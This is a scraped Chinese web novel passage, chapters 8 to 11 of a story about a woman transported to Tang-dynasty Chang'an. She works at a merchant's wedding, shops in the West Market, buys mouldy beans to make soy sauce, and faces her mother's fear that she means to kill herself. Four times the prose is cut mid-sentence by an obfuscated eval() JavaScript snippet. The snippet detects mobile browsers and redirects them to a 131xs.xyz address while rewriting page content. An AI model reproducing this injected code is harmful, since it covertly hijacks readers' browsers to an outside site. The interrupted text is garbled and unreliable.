三娘窝在童白的颈窝处轻声抽噎时,二郎跑了回来,手上捧着那半旧的靛蓝色锦袋,“阿姊,阿娘说让你收好这,明日好去西市添置粮食和家里缺的东西。” 童白轻轻摸着三娘的脊背,小家伙倒是被哄好了,就是不愿看二郎,“好,二郎收好这些便是,阿姊明日先得去谢家做工,待回家后,我们一同去西市,你明日白日里先去卢婶子家借来推车。”原本童家有推车,被原主给典当了,是死当,这会儿想赎都赎不回来。 谢家的马车回到长兴坊时,正巧遇到短工们去管事那领工钱,胡嬷嬷拉着谢嬷嬷去了管事处,等卢婶子领完钱,她拉着卢婶子去一旁道:“听说卢娘子家的是在延寿坊崔将军麾下?” 卢婶子点头。 胡嬷嬷:“听说崔将军素来亲厚下属,哪怕在外行兵打仗,也会让身边的执事给属下的兵士家属送饷银?” 卢婶子摇头,“嬷嬷说的极是,听我们家那口子说崔将军最是护着下面的人。只不过,崔将军麾下那么多的兵士,籍贯遍布大唐疆域,这要都送,可送不过来。” “这么些年来娘子可有收到执事送来的饷银?”谢嬷嬷问。 卢婶子:“收到过,只亲信之人才会送。”笑容里的得意之色没遮掩半分,“逢年过节时,崔府的赵管事也会安排人送些东西。”虽然这么些年来只有一两次,但不妨碍她表现的跟常发生一般。 “你带来谢家做工的童家小娘子家阿爹也是崔将军亲信之人?”谢嬷嬷问。 虽然她们适才已经在童家看到了那位军士的态度,但谨慎点总归没错。 “是了,”卢婶子虽不明白她们为何问这个,实话实说:“若不是亲信之人,也不会让他脱奴籍。”崔家带去打仗的部曲不说上百却也是有几十,能脱籍的也只有童家。 问到了想问的信息,胡嬷嬷和卢婶子随便闲扯了几句话,便从这离开去了主院,将事情禀明吴氏。 吴氏脸色十分难看,却也明白,崔家并不是她们能得罪的,摆摆手,“行了,你们下去吧。”哪怕是女儿即将要嫁去的员外郎家也得给延寿坊崔家面子,何况他们这些商户呢! 胡嬷嬷和谢嬷嬷告退。 原本明媚的天空来了一片乌云,遮住了金乌,谢府的下人在管事的指挥中收拾晾晒在外的衣物。 很快,狂风四起,又很快,下起雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042867|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 豆大的雨点“噼啪”砸落在地,连成一片雨幕。 此时,谢家大门处传来“啪啪啪”的敲门声。 谢家门房站在门内问:“门外何人?” 一道妇人声音响起:“奴姓武,是城西怀德坊慧日寺推荐前来应聘贵府厨娘一职。” 谢家门房是谢嬷嬷家的男人,他知道主家正愁找不到合适的厨娘,慧日寺是家里老夫人常去的地方,这些信息都和家里情况能对上,心中一思量,随即打开门来。 一名穿着深绿色夹袄短衫襦裙的妇人和一名女童站在门外。妇人约莫三十许,面容沉静,左肩膀处挎着包袱,右手正持着往下滴水的油伞,站在她身旁的女童约七八岁,眼神怯生生地。 “敢问娘子之前在哪家府上做厨娘?擅长烹饪哪一类?”门房问。 武氏行礼道:“奴擅炙烤和脍菜,曾在洛阳兵部员外郎家大厨房做工三年余,年前带着孩子来长安,本为寻亲,却没成想亲人早已不在长安,奴便借住在了慧日寺……” 门房递给她们两件蓑衣,又将谢家大门关上,领着她们往府里走。 过去了约莫一个时辰,谢家大门和角门都未开,站在对街角落透过雨幕一直盯梢谢家的壮硕汉子,身披蓑衣,悄然离去。 * 这场大雨停停下下,童家主屋漏雨,好在床上方那片未漏。 但童白一夜都没睡好,第二日顶着两个大大的黑眼圈起床穿衣。 将粟米粥熬煮好,她披上了家里仅剩的蓑衣踩着木屐,在冰冷的雨丝中一摇一晃地往卢婶子家走。 雨水让坊内的道路泥泞不堪,童白走的十分小心。 等她到了卢婶家门口,那边院门刚好打开,两人寒暄了几句,一同往东坊门而去。 出了坊门的路是石板的,也有不少积水,路上的行人行色匆匆。 等到了谢家角门处,没多久,谢嬷嬷便出来领着大家进去做活,今日是婚事之日,哪怕是下雨也遮挡不了喜庆,童白还是被领着去了小厨房,只不过今日小厨房里少了谢娉婷的身影,多了一名妇人带着个女童。 灶火烧的旺旺的,童白脱下蓑衣便开始在妇人的指挥下忙碌起来,等到半下午时,小厨房里已然准备了不少的点心。 童白揉着酸痛的胳膊,看着案板上堆成小山般的精致喜饼,心中却一片轻松。新来的厨娘武娘子一看便知深谙庖厨之道。 真好! 谢家找到了合适的陪房厨娘,又有昨日崔家执事上门之事,应是不会惦记着自己了。 当天空出现绚烂的彩霞之时,工部员外郎家迎亲的队伍也在喜乐声中来到谢家大门前。 童白站在人群外远远地看了眼骑在马背上前来迎亲的新郎官。鬓角的白发和脸上的沟壑,让她心中不由一阵唏嘘,这新郎官都能做谢娉婷祖父了。 在院中宾客的艳羡与恭贺声中,红妆少女低垂脖颈,被那喜笑颜开的新郎官迎入了喜轿之中。 谢家娇养的小娘子为了家族利益嫁给老头子做续弦,又是一桩明码标价的交易。 童白站在人群外围,旁观着这场真实的唐初婚礼,心中庆幸自己没签那卖身契。感谢那延寿坊的崔家,不管如何,那位军士恰到好处的出现解救了自己。 等迎亲结束,短工们在谢嬷嬷的带领下去管事那儿领了工钱。 她额外得到了谢嬷嬷专门为她准备的食材,与卢婶汇合后,两人回了崇延坊。 8. 长安西市 推着借来的独轮车抵达西市东南门时,喧嚣正盛。 西市的市墙是夯筑的土墙,四面,每面各开二门,共八门。姐弟俩从离家最近的东南门进去。 才踏入西市,就感受到西市充满烟火味儿的喧嚣,道路两旁店铺与店铺间的位置见缝插针地摆放着卖吃食的小食摊。 左手边的油靛店和烧炭铺之间是卖蒸饼的摊子,见到行人路过,摊主大声吆喝着:“猪肉蒸饼,三个大钱一个,五个大钱两个!” 就像是比着谁吆喝声大似的,“卖胡饼咯,火炉刚烤出来的胡饼,两个大钱一个。”这是蒸饼摊子对面街,位于曝布行和寄附铺之间的卖胡饼摊子发出的吆喝声。 空气中混杂着油料与炭火的气味,每次踏入,童白仍不免为西市这盛景恍神。人潮涌动,异域面孔穿梭,若非一身唐装,童白几疑置身后世仿古街市。 在身着唐装的百姓中,夹杂着五官轮廓立体、身着异族服饰的西域行商。他们牵着骆驼在街上行走,遇到感兴趣的摊位或者店铺,用着带有孜然味的异域语调与人交谈。更有那脸上挂着心照不宣的笑,勾肩搭背、步履轻快、说说笑笑地朝西北而去的。 哪怕听不懂,童白猜测这几个应是去往胡姬酒肆。 为什么不是去往大唐的酒肆? 因为胡商更喜欢去充满家乡异域风格的胡姬酒肆。 就这样一路走一路看,童白枯瘦蜡黄的脸上的神情越发柔和。身旁的童二郎停驻了脚步,童白顺着童二郎的视线望去,通宝寄附铺,这家便是原主当掉家里物什的铺子,也是后世的当铺。 也不怪童二郎一直盯着看。 原主当时选择寄附铺是为了救白氏的命,童白一定程度上理解原主为何这般做,但…… “二郎,走吧,买完粮,阿姊给你做好吃的。”童白轻声道,原主死当的物什赎不回来,但她会努力赚银子买新的。 童二郎转头看向身旁的阿姊,“好。”抿唇微笑,双眼亮晶晶。这个阿姊做的吃食可好吃了! 想到赚钱,童白边走边观察着西市里售卖吃食的小摊贩。 唐朝人喜吃面食,蒸饼、胡饼、汤饼、煎饼、馄饨的摊子穿插分散在街市中。 在这,水煮面条和面片一类的食物统称为汤饼,蒸饼是馒头和包子之类发面食物的统称,馄饨跟后世的馄饨差别不大,都是用薄透的面皮包裹着馅料制成。 没有铁锅,陶瓮放水架在烧着柴的简易炉灶上,便是做汤饼和馄饨的家伙什。 摊子斜后方摆放着一个竹桌和四个竹椅。 老妪弯腰煮汤饼,中年妇人吆喝、收拾桌椅和收钱。卤子以咸菜和肉臊子为主,咸菜汤饼六个大钱一碗,肉臊子汤饼十个大钱一碗。 馄饨食摊也差不多,馄饨一碗八个大钱,汤料里放了咸菜、胡麻油提味和提香。 观察几拨食客啜着清汤寡水的面食,童白心念一动:这里的汤饼馄饨做法单一,调味只有咸菜,口味贫乏。 想起上一世喜欢吃的馄饨:皮蛋猪肉馄饨、咸蛋黄肉馄饨,鲜肉馄饨……,若有更鲜的汤、更丰富的调料和酱汁,滋味定能翻天覆地! 念头悄然滋生,继续在这边观察也没什么意义,童白带着童二郎往西北方而去。 麻布鞋踏在夯实的黄土地上,寒风撩起了她额前的碎发,她侧过身子,将童二郎小小的身子挡在身后。 “阿姊,我不冷。”童二郎仰起头,看向阿姊,细瘦的手推着独轮车。 童白摸了摸他的头,“是阿姊冷,想靠着二郎取暖。” 原主把家里的衣裳当掉后,家里唯一最保暖的便是她套在身上的旧夹裤了,二郎怎会不冷,只是这孩子习惯懂事罢了。 童二郎闻言挺起小胸脯往童白这边靠了靠。童白隔着布料感受到了他身上略显单薄的身躯,心下感叹,孩子还是太瘦了,得赚钱买粮养胖一些才合适。 从南北街转到东西街,拐入了平准署所在的街道,这条街道路两侧没有小摊贩。 平准署和隔着一条街的市署,都是唐朝安置在西市里的官家机构。市署主要负责市场秩序和交易过程的监督管理,平准署监管和调控市场价格。 原本童白打算继续朝着西北方向行进,突然临时改变主意,决定经过市署后再去往磨行。顺着南北大街,经过秤行和靴行,左拐进入东西街上,如同平准署门前街道一般,这里也没得人来摆摊。 也不知道是官家不允许摆摊还是大家摄于官家机构的威严,不敢来这摆摊。 再进到酒肆、胡姬食肆的这条街后,西市的风裹着胡商身上的安息香,混着炭火气扑过来。 穿绿袍的市吏用脚碾过地上的烂菜叶,独轮车轱辘压过青石板,发出‘吱呀’的哀鸣。 道路旁卖胡饼的老汉掀开炉盖,芝麻香烫得人鼻腔发麻。 这便是长安,一半是朱门酒肉,一半是泥里求生。 童白攥紧钱袋,指节泛白:总有一天,她要让这西市的烟火气里,有她童白的一席之地。 童白一路上若有所思,路过炭行停在磨行门前,闻着里面飘出来研磨后的米粮香味,姐弟俩被寒风吹麻木的脸上都浮现出笑容。 果然还是粮食让人安心! “阿姊。”童二郎兴奋地扯了扯童白的衣袖。 童白颔首道:“走吧,咱们去买粮。” 这会儿磨行里的人并不多,童白领着童二郎站在中间放了好几口大缸和木质食框前,里面盛放着尚未研磨的粮食和已经研磨好的粮食。 童白凑上前辨认,在后世,常见的面粉都是雪白的精制面粉,而这里,最白的怕是都比后世的要颜色深一些。 “小娘子需要买些什么?粟粉还是麦粉?”磨行的伙计见两人穿着灰扑扑的麻衣,指着橙黄色的粟粉,“粟粉十六钱一斗”,又指着混杂着麸皮碎屑的呈淡黄色的麦粉说:“粗麦粉二十五钱一斗。” 去年五月才结束战乱的长安城,米 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042868|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粮的价格虽比起前朝有所回落,但依然不便宜。 童白:“要一斗麦粉,”一石等于十斗,一斗小麦粉,做成馒头肯定吃的快,若是添上些粟粉,配上粟米粥,吃个半月是没有问题的,“粟粉两斗。”家里粟米见了底,加上还给卢婶子一些,要省着用。 “再给拿点酵头。”酵头是做蒸饼需要的酵母,白氏在崔府是在绣房当值,庖厨之技仅限于做熟食物,家里并没有。本来可以去邻里间要一点老面,但是白氏搬来这崇延坊后,很少跟邻居来往,童白决定第一次买,日后家里留老面。 “好咧,酵头二十五个大钱一袋。” “好。”心算厉害的童白早已算好,一共是一百零七个大钱,真是心痛啊! 她在谢府辛苦三日赚的四十五钱,都不够一趟磨行所花费的。可见这年代想吃饱有多么不易。 从磨行出来,两人推车去米麦行买了五斗粟米,又花去了二十五个大钱。还给卢婶两斗粟米,自家剩三斗,每日吃少一点也能吃个小半个月。 当初复刻唐朝美食专辑时,她特意研究过唐朝的历史资料,其实,她并不能确定自己是真穿到唐朝,还是一个叫大唐的平行世界。 不过,对于她来说,这些也不是那么重要,重要的是如何能活下来。 综观这几日在坊市间的踩点,她大概明白了这里跟唐朝一样,坊市管控严。 如此,西市摊位租金怕是天价。若想靠小食摊立足,眼下只能在坊内‘打游击’。 至于说今日的采买,米面买了,家里还有谢家给她拿的菜蔬和肉食,暂时不需买,抬头瞧了眼天色,还好,离天黑还有点时间,不若去西南门边的胡商杂货铺看看。 卢婶子说,西市西南门边的胡商杂货铺里售卖的东西虽比别家的贵,但胜在东西全乎,也比别家店好一点。 后续做美食生意,她得多跑跑这些店铺,先摸清门路。 两人顺着南北街道一路往南走,在离西南门不足百米的地方,两人推着独轮车进了杂货铺。 铺子里光线不甚明亮,货架上琳琅满目,多是些中原不常见的物什:色彩斑斓的玻璃器皿、造型古怪的铜壶、成捆的异域毛料、晒干的奇花异草。 弥漫着各种香料、药材和皮革混杂的奇特气味。童白才进来就用袖子遮着脸打了个‘响亮’的喷嚏。 高鼻梁深目的胡商伙计靠在柜台后,用生硬的官话懒洋洋地吆喝一句:“若是有看中的,可向我询价。” 童白“嗯”了一声,牵着二郎小心地避开堆放在中间的麻袋和箱子,目光快速搜寻着她需要的东西:种子,或许还有些便宜的边角料香料。 她仔细辨认着,葵(冬寒菜)、韭、葱、蒜……好在她小时候是跟着奶奶在农村长大,要不然根本分不清这些种子的模样。 目光扫过药材种子堆旁一只破旧皮袋,里面躺着些蔫瘪的褐绿豆子,皱巴巴毫不起眼。 童白脚步猛地刹住,这模样?! 9. 霉豆子 这的蔫瘪发绿的模样,像极了她前世做酱油用的霉豆! 童白心头猛地一跳,血液似乎都冲上了头顶。不会吧?在这长安城,竟能遇到这个?! 她强压下几乎要脱口而出的惊呼,上前蹲下身,小心地捻起一颗凑到鼻尖。一股极淡的、熟悉的、豆类发酵特有的气味钻入鼻腔。错不了! “啪!”手中的豆子被一只小巴掌狠狠打落。 童白愕然抬头,只见二郎红着眼瞪着自己,那眼神里的恐惧和愤怒,与她刚穿来时醒来所见一模一样。 他定是想起了那些要了“阿姊”性命的米粥! 正要解释这霉豆子并不是霉稻谷,没有有毒时,童白听到布料的摩擦声,转头一看,就见原本还懒洋洋靠在一旁的高鼻梁伙计,快步走过来。 童白目测这位高鼻梁伙计至少有一米八,他移动过来时,给身高不足一米五的童白和童二郎带来十足的压力。 童白张了张嘴,话未出口。 高鼻梁伙计问:“小娘子是看中了我们家的西域奇种?”态度殷勤得判若两人。 前几日她日日都来这铺子,却是头一回享受到这高鼻梁伙计的服务。说实话,她并不是那么需要他热情的服务。 方才被打断,未能细闻,此刻她一手拉住童二郎,另一手捡起地上的霉豆子,凑到鼻前细闻,一股淡淡的、熟悉的豆子发酵的特殊气味钻入鼻腔。 一股狂喜冲上心头,若能做出豆酱,不,传说中的酱油!西市那些汤饼馄饨的滋味,定能翻出新花样! 童白视线落在高鼻梁伙计身上,没有说话。她正努力压下心中的雀跃,做出嫌弃的模样来。 高鼻梁伙计无视童白脸上的嫌弃,自顾自地笑着解说:“这西域奇种,不是我吹牛,全长安城只有我家才有……”等到他瞧见对面的小娘子那洞察一切的眼神,话音一转,“只不过,这种子运来长安时路上受了潮,东家便说便宜点卖了,小娘子可是想要买?”我的个真神,这小娘子看着年岁不大,那眼神却…… 看这伙计的模样,根本不知道这样的霉豆子能做什么用,只是出于生意人的精明,才极力推销。 不过,将发霉之物以受潮的话术哄人,难道是通用的?骗原主用粟米换霉稻谷的妇人是这般说,这高鼻梁伙计也是这般说。 若是原主,或许会再次上当受骗。 但童白不是,她穿越前从小跟着爷奶住在华|国南方的农村,种过地,浇过粪水,秧苗她都插过。大学毕业她回村后以记录乡间生活和复刻古法美食为生,机缘巧合下,她复原的几道古时菜肴,正巧契合了当时爆火的古装剧,也蹭得了一波流量。 酱油作为黄豆发酵酿造出来的产物,她做过。 童白弯腰凑到霉豆子面前,嗅了嗅,确定是这个味没错。 童白心脏狂跳!是酱油曲霉! 无论是在谢家还是在西市,她都没瞧见酱油。豉汁的味道跟酱油比起来,说不上小巫见大巫,却也是没法比的。 至于她的判断会不会出错? 不会,她可以百分两百确定! 她的嗅、味觉是她上一世能在美食博主这赛道深耕的底气,而这底气也跟来了这里。 童白怀疑道:“霉味这么冲,分明坏了!这能发芽?” 高鼻梁伙计视线在姐弟俩身上来回转了好几圈,用一副你不懂的口吻耐心道:“不妨事,回去直接种在土里,等两日后浇水,再等个三四天,便能出芽。” 黄豆明明要等到五六月的时候才播种,这伙计如此误导,怕是等买家真的按照这操作后,回头再说是操作失误,拒不退钱。 真是个黑心商人! 童白蹙眉质疑,“胡说!黄豆五月下种,哪有大冷天育苗的道理?阿娘说过,这时节下种,非暖房不可!”她不是原主,不可能一直保持着原主的人设不变,但也不能一蹴而就,点滴中改变最合适。 听到阿姊话语的童二郎,拧眉仔细回想,阿娘都不会种地,会教阿姊吗? 童白捏了捏二郎的小手,低声道:“莫怕,阿姊心里有数。”童二郎紧绷的身体略微放松,但仍抿着唇,目光时不时警惕地扫过那个装着“危险”豆子的小布袋,乖巧地站在童白身旁,一声未发。 “都差不多,”高鼻梁伙计笑着打哈哈,“小娘子要买吗?我可以便宜点卖。” “你家黄瓜和菠菜种子怎么卖?” “黄瓜种子,十五个大钱一包;菠菜种子,二十五个大钱一包……”高鼻梁伙计指着霉豆子道:“奇种,十个大钱。” 瞧他这锲而不舍的模样,童白心念一转,摇了摇头,“我阿娘没让我买这个。”视线不经意扫过店铺外。 !!! 她瞧见了骗原主买下霉稻谷的妇人! 顾不得跟伙计掰扯,拉着二郎往店铺外跑了几步。一眨眼的功夫,又没见到那妇人的身影了。 高鼻梁伙计以为她想要走,招手喊住她道:“若是小娘子买了黄瓜和菠菜种子,这个我可以做主便宜卖给你,八个大钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042869|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即可。” 童白很快回过神来,做出一副肉疼的模样道:“三十五个大钱买黄瓜和菠菜种子,霉豆子作为搭头,五个大钱。” 这边黄瓜菠菜省下五钱,那边霉豆子只花五钱,算下来比分开买省了足足十个大钱!这账算得值! 高鼻梁伙计苦着脸道:“小娘子砍价可真是厉害,这么多钱我可做不了主,”眼珠骨碌一转:“小娘子稍候,这等大事,小的得请示东家!”他掀帘入内。 童白牵着童二郎,去到店铺外。这年头人心难测,万一被诬陷偷拿东西,浑身是嘴也说不清。在门外等着,最是稳妥。顺带还能瞧一瞧那妇人还在不在。 不过几息,高鼻梁伙计回到铺面,五官都皱在一起,仿佛剜了他的肉似地喊道:“哎哟!东家骂我糊涂,可我瞧着小娘子诚心买,罢了罢了!四十钱,三样您拿走!不要也就只有两样!”说着,上前去装菠菜和黄瓜种子。 童白面上蹙着眉,拉着不情愿的童二郎,将霉豆子的袋口系紧,随意往推车上一撂,“砰”的一声,不难听出买方是有怒气的。 心里却是欢喜的,用五个大钱赌一个未来!若成了,这就是独一份的鲜味,是立足长安的底气! 左右这点豆子费不了多少柴,先试一小瓮。 高鼻梁伙计闻声,原本想要抖的手没抖了,装好种子递给童白。 童白付了钱,也没多看店里的其他东西,拉着仍板着脸的二郎出了店铺。。 去屠户摊子买了块肥厚的板油和一小条前腿肉,花了四十钱,笑着脸问屠户要来了两根剔得干净的大骨头,又在隔壁菜摊上买了颗白菜、黄瓜和葱姜蒜等配料。 姐弟俩推着满载的独轮车,碾着夕阳的余晖朝崇延坊行去。 路上,童白看着放在独轮车上的霉豆子心情很好,想着明日若是个大晴天,她在家里寻个陶瓮,就将豆子洗净晾晒再发酵。 只不过,眼下天寒,发酵的时日怕是不短,是放在灶房角落合适还是放在西屋更合适呢…… 离家门还有十米距离时,童白瞧见卢婶子和另外一个不认识的妇人从童家出来,白氏正站在门口与她们话别。 卢婶子眼尖瞧见她们,笑着挥挥手,目光在堆满米粮和杂物的独轮车上逡巡片刻。 “卢婶子,我一会儿过去找你。”童白笑道。 “欸,”卢氏笑着应声,转头跟白氏道:“外面风大,弟妹身子尚未完全康复,送到此就成。要是有什么消息,记得跟我知会一声,我这就回去了。” 10. 是不是还想着寻死? 注视着卢婶子她们的背影远去,“回来了?”白氏侧身让出大门的位置,“进来吧。” 待得姐弟俩进了院子,她探出头往右边巷子看了眼,才关上院门,落下门闩。 这点儿功夫,童白已将车停放在院子靠近西屋的位置,一点一点地将车上的粮食抱进去。童二郎则是牵着三娘,让她别黏着阿姊捣乱。 原主的身子过分娇弱,搬完粟米、粟粉和麦粉的童白这会儿喘着粗气,拉着独轮车去来到灶屋门前,将猪板油、前腿肉和菜蔬这些拿进去。 等童白忙完这些,院子里早已没了白氏的身影,只有咧开嘴、露出小米牙的二郎和三娘正朝她笑。 童白回应兄妹俩一个甜美的笑容:“二郎真棒,带着乖乖的三娘在一旁玩儿,你们饿了没?等阿姊给巷口的卢婶子家送还粮食,就回来做膳食,今晚咱们吃点好吃的。” 跟三娘一般大的时候,她也爱站在一旁看爷爷奶奶忙活。好像不这么看着他们,下一秒自己就会被抛弃。而佝偻着腰背的爷奶,是她唯一的依靠和依赖。 爷爷去世后,她跟奶奶相依为命,一毕业,她没像班上的同学忙着找工作,而是打包好行李毅然决然地回到了村里,跟奶奶一起住在村里,慢慢摸索着拍视频做美食博主,分享乡间的生活和美食。 没想到一朝穿越,她竟也成了别人眼中的依靠和依赖了,真是个新奇的体验啊! 至于白氏,她不在院子里也正常,从昨日坦白之后,哪怕晚上大家挤在一张床上睡觉,她对自己也是少言的几乎无言。 或许这才是陌生人该有的态度吧。 倒是比前些日子,明明是陌生人却努力装出熟悉来得更自在。 瞧了眼天色,童白找出竹篮,将还给卢婶子家的粟米放进去,又从谢嬷嬷给她的食材中一样挑了点,光这些东西就将竹篮塞得满满的。想了想,用菜刀切下一条两指宽的猪板油,用大树叶包好,挎着竹篮去了主屋。 “这些是打算送去卢婶子家的粟米和还礼,您看可行?”这些东西大多用便宜爹的饷银买的,哪怕二郎给她钱袋子的时候说了让她看着办,但于情于理,她觉得都该跟白氏知会一声。 白氏目光在竹篮里逡巡了一遍,微微颔首,从‘她’准备的东西不难看出,是个懂得人情往来的伶俐人,或许在有些事情上,‘她’做的比自己都要好。 但‘她’再好,也不是自己的大女儿,闭上眼,一滴晶莹剔透的泪珠顺着脸颊滑落。 童白就当没瞧见白氏脸上的泪水,朝趴在床上吃着手指的用水灵灵的大眼睛看向自己的四郎露出个无齿笑容,转身往外走。 “带上三娘一起。”白氏的声音响起。 童白身形停顿一瞬,不明白为何白氏要这么说,但也不是不行,她颔首应声“嗯”,腿一抬一跨,出了主屋。 去灶房拿了块深蓝色粗布将竹篮盖上,出门前,朝被二郎牵住的三娘伸出了左手,三娘快步上前,伸出右手拉住阿姊的左手,一脸兴奋地随着童白往外走。 留下的童二郎,羡慕的瞧着她们的背影,又低头瞧了眼自己的右手,眼中全是羡慕。阿姊只摸过自己头和肩,可没像牵三娘一般牵自己的手呢。 不过,瞧见阿姊左右手都不得空,他很快回了神,“哒哒哒”几步跑到她们身前,踮着脚移开门闩。 童白脸上浮现笑意,轻声道:“二郎先休息一会儿,等我回来再一起收拾做膳食。” 二郎点点头。 童白过去时,卢婶子家的院门虚掩着,她在木门上“笃笃笃”敲了三声,“卢婶子在家吗?” “在家呢,门没关,你进来吧。”卢婶子的声音由远及近。 童白推开虚掩的门,牵着三娘进了吴家的院子。 与童家几乎家徒四壁的院子不一样,吴家院子西南角落里开着一块菜地,透过拦在四周的荆棘护栏不难看出地上覆盖了厚厚的一层枯黄稻草。 吴家是主屋加东、西厢房的布局,除灶屋和厕所外,有五间屋子。 卢婶子正笑着从灶屋里迎出来,因干活还就卷起的衣袖也没放下。 “今日去西市买了些粟米回来,这是前段时日从您这借走的粟米,谢谢您及时伸出援手,要不然我家都不见得能熬过来,”视线正好扫过身旁的三娘,正好三娘也抬起头来,姐妹俩对视,三娘露出大大的笑容。 “里面除了粟米外,还有些别的,都是我们一家的心意,还请您收下。”掀开粗布,童白双手将竹篮递给卢婶子,话说的既郑重又贴心。 卢婶子的眼神在那上面一扫,知道童白的回礼不轻,她眼角皱纹深了几分,却客气地摆了摆手,“弟妹和侄女太客气了,婶子我才帮上那么点的忙,哪能收下。” 她知道童小娘子从谢家带回来的食材有哪些:一块带骨头的羊肉,一盒喜饼,再有些调料品,据说这是在厨房帮工的都有的。 喜饼是她们家逢年过节都舍不得买的点心。童小娘子礼数到位,她莫名便觉得这回礼里面会有。 童白上一世虽做的自媒体,但人情世故这些懂得不少,怎么可能信了卢婶子这心口不一的推拒话语。赶忙继续将篮子递上前,两人开启了过年送礼时的来回‘推搡撕扯’。在三娘含着手指头的注视中,最后卢婶子接了篮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042870|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子过去,转身回了灶屋。 这年头接了礼,是要将装礼的物件还回去的。 多么的朴实无华啊。 童白一手拂过额上的细密汗珠,另一只手把三娘含在嘴里的手指轻轻拿出来,小声提醒道:“三娘,不可以吃手手哦。”。 卢婶子的声音从灶屋里传出来:“这喜饼看着就喜庆,我听说是新来的武娘子做的,托你的福,婶子也算是尝到了员外郎家厨娘的手艺。”声音里的欢喜十分明显。 “哎哟,这饼上的花纹做的可真好看,要我说,武娘子哪怕没能聘入谢家,三月三的时候,在寺庙门口支张桌子,附近坊间富户权贵家的夫人太太们定然会让家里的奴婢买上不少。” 站在院子里的童白应了几声,脑中却是在调动原主的记忆。 三月三,上巳节!这可是长安城的大日子,曲江池畔、各大寺庙外定然人山人海,武侯管得松,正是摆摊卖吃食的绝好时机! 不过,得先攒够本钱…… 童白牵着三娘回到家,才进院子便觉察出不对劲:白氏扶着竹椅背,佝偻的身影立在院中,脸色比平日更白几分,目光停在推车上那个不起眼的布袋上。二郎红着眼站在屋檐下,眼神躲闪,不敢与阿姊对视,小手不安地绞着衣角。 童白松开三娘的手,“三娘去找二郎玩儿。”声音尽量平稳。她快速将竹篮粗布归置好,走到白氏面前,“您是有话跟我说?” 白氏靠在主屋门框上,身影在暮色中显得单薄又僵硬,声音像绷紧的弦:“把四郎也抱给二郎。” 童白依言将四郎安置在二郎腿边的竹椅上,示意二郎看好弟妹。 刚关上门,暮色将小屋笼罩得半明半暗。 白氏猛地转过身,声音像绷紧到极致的弦,带着哭腔和嘶哑:“你是不是……是不是还想着寻死?!”她惨白的脸上因激动泛起病态的红晕,那双酷似原主的杏眼里,盛满了滔天的悲痛、愤怒和无尽的迷茫,“你死了,我家女儿就能回来吗?啊?!” 童白被这突如其来的激烈情绪震住,只看向白氏,眼中全是愕然。 窗棂透进最后一点天光,映着白氏脸上交错的泪痕。 “既不能!”白氏逼近一步,指甲深深掐进掌心,身体微微发颤,“那你为何…为何还要买那东西?!那铺子里的霉豆子!二郎都告诉我了!你是不是觉得哄住了他们,就可以…就可以…”后面的话她说不下去,泪水汹涌而出,“你答应过的!你说只要不卖了你,你就会对二郎他们好!这才几天?你就说话不算数了吗?!”严厉的斥责里,是深不见底的绝望和一个母亲走投无路的脆弱。 11. 白菜猪油渣包 童白看向白氏,目光坚定:“您看我,像是想死之人吗?”穿来后,她有无数次可以轻生的机会,她当时没做,现在也不可能,更何况她答应过奶奶,绝不会轻生,“若是想死我不会挑现在!” 白氏强忍哽咽,抿着唇,盯着童白,想要瞧出她有没有说谎。 童白轻叹一声,解释道:“霉豆子和霉稻谷并不一样,这种霉豆子吃了不会身死。”童白觉得自己此刻的解释听起来颇为玄幻,试图跟一名唐朝人解释什么是可以食用的菌,什么是吃死人的毒菌,“这霉豆子上长的霉,是能吃的‘好霉’。那霉稻谷上的才是要人命的‘毒霉’,万万碰不得!” 见白氏依然固执地不说话,眼神中的将信将疑十分明显。 童白扶额,“算了,我这会儿也说不清楚,您知道这霉豆子就跟米添加酒曲能做出酒来,麦粉添加酵头能做出蒸饼来,这霉豆子……”话说到此,她停顿了一下,“也能做出好吃的美味来。” 至于是什么样的美味,保持神秘好了。 白氏对原主的感情太深,童白实在不敢赌。 若让她知晓了霉豆子的真正用处,会不会对自己做出不利之举。 